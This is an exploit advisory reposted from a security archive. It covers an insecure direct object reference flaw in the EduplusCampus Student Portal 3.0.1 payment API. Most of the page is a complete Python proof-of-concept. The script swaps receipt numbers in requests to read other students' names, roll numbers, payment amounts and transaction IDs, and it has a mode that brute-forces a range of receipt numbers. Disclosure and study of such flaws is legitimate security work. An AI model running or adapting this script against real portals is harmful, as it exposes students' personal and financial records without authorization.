EduplusCampus Student Portal 3.0.1 was susceptible to an Insecure Direct EduplusCampus Student Portal 3.0.1 was susceptible to an Insecure Direct Object Reference (IDOR) vulnerability. This flaw allowed authenticated users to bypass access controls by manipulating parameters directly referencing objects.
For example, a student viewing their own profile (e.g., `student_id=123`) could alter the `student_id` parameter in the URL or request body to `student_id=456`. If the portal lacked proper server-side authorization checks for the new ID, it would display data belonging to student 456.
This meant unauthorized access to sensitive information like other students' grades, personal details, attendance records, or financial data. The vulnerability stemmed from insufficient validation, allowing direct object access without verifying the requesting user's permissions. This posed a significant privacy and security risk for all portal users.
=============================================================================================================================================
| # Title : EduplusCampus student portal v 3.0.1 Broken Access Control |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://www.edupluscampus.com |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/211727/
[+] Summary : Insecure Direct Object Reference (IDOR) vulnerability in EduplusCampus Student Payment API (version 3.0.1)
that allows authenticated users to access other students' sensitive financial and personal information without proper authorization.
[+] POC :
#!/usr/bin/env python3
"""
Proof of Concept: CVE-2025-61148
IDOR Vulnerability in EduplusCampus Student Payment API
Author: indoushka
"""
import requests
import json
import sys
import argparse
from colorama import Fore, Style, init
# Initialize colorama for colored output
init(autoreset=True)
class CVE202561148_POC:
def __init__(self, base_url, auth_token):
self.base_url = base_url.rstrip('/')
self.headers = {
'Authorization': f'Bearer {auth_token}',
'Content-Type': 'application/json',
'User-Agent': 'Mozilla/5.0 (Security-Test)'
}
def print_banner(self):
"""Display vulnerability banner"""
banner = f"""
{Fore.RED}????????????????????????????????????????????????????????????????
? CVE-2025-61148: IDOR Vulnerability POC ?
? EduplusCampus Student Payment API ?
????????????????????????????????????????????????????????????????{Style.RESET_ALL}
"""
print(banner)
def test_idor(self, original_rec_no, target_rec_no):
"""Test IDOR vulnerability by modifying rec_no parameter"""
endpoint = f"{self.base_url}/student/get-receipt"
# Original request (authorized)
original_data = {
"rec_no": original_rec_no
}
# Malicious request (unauthorized access attempt)
malicious_data = {
"rec_no": target_rec_no
}
print(f"{Fore.CYAN}[*] Testing IDOR vulnerability...{Style.RESET_ALL}")
print(f"{Fore.YELLOW}[+] Original receipt number: {original_rec_no}{Style.RESET_ALL}")
print(f"{Fore.YELLOW}[+] Target receipt number: {target_rec_no}{Style.RESET_ALL}")
try:
# Test with original receipt number
print(f"\n{Fore.WHITE}[1] Sending request for authorized receipt...{Style.RESET_ALL}")
resp_original = requests.post(
endpoint,
headers=self.headers,
json=original_data,
timeout=30
)
# Test with target receipt number
print(f"{Fore.WHITE}[2] Sending request for target receipt (IDOR test)...{Style.RESET_ALL}")
resp_target = requests.post(
endpoint,
headers=self.headers,
json=malicious_data,
timeout=30
)
# Analyze responses
self.analyze_responses(resp_original, resp_target)
except requests.exceptions.RequestException as e:
print(f"{Fore.RED}[-] Request failed: {str(e)}{Style.RESET_ALL}")
return False
def analyze_responses(self, resp_original, resp_target):
"""Analyze and compare the responses"""
print(f"\n{Fore.CYAN}[*] Response Analysis:{Style.RESET_ALL}")
print(f"{'='*60}")
# Original response
print(f"{Fore.GREEN}[+] Original Request (Authorized):{Style.RESET_ALL}")
print(f" Status Code: {resp_original.status_code}")
if resp_original.status_code == 200:
try:
data = resp_original.json()
print(f" Response Length: {len(resp_original.text)} characters")
if 'fullname' in data:
print(f" Contains PII: {Fore.RED}YES{Style.RESET_ALL}")
except:
print(f" Response: {resp_original.text[:100]}...")
# Target response
print(f"\n{Fore.RED}[+] Target Request (Unauthorized):{Style.RESET_ALL}")
print(f" Status Code: {resp_target.status_code}")
if resp_target.status_code == 200:
try:
data = resp_target.json()
print(f" Response Length: {len(resp_target.text)} characters")
# Check if vulnerable
if 'fullname' in data or 'rollno' in data:
print(f"{Fore.RED}[!] VULNERABLE - Successfully accessed other user's data!{Style.RESET_ALL}")
print(f"\n{Fore.YELLOW}[*] Exposed Information:{Style.RESET_ALL}")
# Display sensitive data (redacted for safety)
sensitive_keys = ['fullname', 'rollno', 'component_total_amount',
'trans_list', 'tid', 'date', 'amount']
for key in sensitive_keys:
if key in str(data):
if key == 'fullname':
print(f" ? Full Name: {Fore.RED}[REDACTED]{Style.RESET_ALL}")
elif key == 'rollno':
print(f" ? Roll Number: {data.get('rollno', 'N/A')}")
elif key == 'component_total_amount':
print(f" ? Payment Amount: {data.get('component_total_amount', 'N/A')}")
elif key == 'trans_list':
transactions = data.get('trans_list', [])
if transactions:
print(f" ? Transaction Details:")
for trans in transactions:
print(f" - Date: {trans.get('date', 'N/A')}")
print(f" - Amount: {trans.get('amount', 'N/A')}")
print(f" - TID: {trans.get('tid', 'N/A')}")
# Save proof
self.save_proof(data)
except json.JSONDecodeError:
print(f" Response: {resp_target.text[:200]}...")
if len(resp_target.text) > 100:
print(f"{Fore.RED}[!] Potential vulnerability detected!{Style.RESET_ALL}")
else:
print(f" Response: {resp_target.text[:100]}...")
def save_proof(self, data):
"""Save proof of concept results"""
filename = f"idor_proof_cve_2025_61148.json"
with open(filename, 'w') as f:
json.dump(data, f, indent=2)
print(f"\n{Fore.GREEN}[+] Proof saved to: {filename}{Style.RESET_ALL}")
def brute_force_receipts(self, prefix="PCUF-", start=231800, end=232100):
"""Attempt to discover valid receipt numbers"""
print(f"\n{Fore.CYAN}[*] Brute-forcing receipt numbers...{Style.RESET_ALL}")
print(f" Range: {prefix}{start} to {prefix}{end}")
found_receipts = []
endpoint = f"{self.base_url}/student/get-receipt"
for i in range(start, end + 1):
rec_no = f"{prefix}{i}"
data = {"rec_no": rec_no}
try:
resp = requests.post(
endpoint,
headers=self.headers,
json=data,
timeout=10
)
if resp.status_code == 200:
print(f"{Fore.GREEN}[+] Found valid receipt: {rec_no}{Style.RESET_ALL}")
found_receipts.append(rec_no)
# Quick analysis
try:
resp_data = resp.json()
if 'fullname' in resp_data:
print(f" Contains PII: YES")
except:
pass
except requests.exceptions.RequestException:
continue
return found_receipts
def main():
parser = argparse.ArgumentParser(
description="CVE-2025-61148: IDOR Vulnerability POC for EduplusCampus",
formatter_class=argparse.RawDescriptionHelpFormatter
)
parser.add_argument("-u", "--url", required=True, help="Base URL (e.g., https://student.edupluscampus.com)")
parser.add_argument("-t", "--token", required=True, help="Bearer token for authentication")
parser.add_argument("-o", "--original", help="Original receipt number (authorized)")
parser.add_argument("-T", "--target", help="Target receipt number to test")
parser.add_argument("-b", "--bruteforce", action="store_true", help="Enable brute-force mode")
parser.add_argument("-p", "--prefix", default="PCUF-", help="Receipt number prefix for brute-force")
args = parser.parse_args()
# Initialize POC
poc = CVE202561148_POC(args.url, args.token)
poc.print_banner()
print(f"{Fore.CYAN}[*] Target: {args.url}{Style.RESET_ALL}")
print(f"{Fore.CYAN}[*] Authentication token provided: {'*' * 20}{Style.RESET_ALL}")
if args.bruteforce:
# Brute-force mode
print(f"\n{Fore.YELLOW}[!] Starting brute-force attack...{Style.RESET_ALL}")
found = poc.brute_force_receipts(prefix=args.prefix)
if found:
print(f"\n{Fore.GREEN}[+] Found {len(found)} valid receipt numbers{Style.RESET_ALL}")
for receipt in found:
print(f" ? {receipt}")
else:
print(f"{Fore.RED}[-] No valid receipt numbers found in the range{Style.RESET_ALL}")
elif args.original and args.target:
# Specific test mode
poc.test_idor(args.original, args.target)
else:
print(f"{Fore.YELLOW}[!] Usage examples:{Style.RESET_ALL}")
print(f" Specific test: python poc.py -u https://target.com -t YOUR_TOKEN -o PCUF-232025 -T PCUF-231824")
print(f" Brute-force: python poc.py -u https://target.com -t YOUR_TOKEN -b")
print(f"\n{Fore.RED}[!] WARNING: Use only on authorized systems!{Style.RESET_ALL}")
if __name__ == "__main__":
main()
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
EduplusCampus Student Portal 3.0.1 Insecure Direct Object Reference
- Details
- Written by: khalil shreateh
- Category: Vulnerabilities
- Hits: 200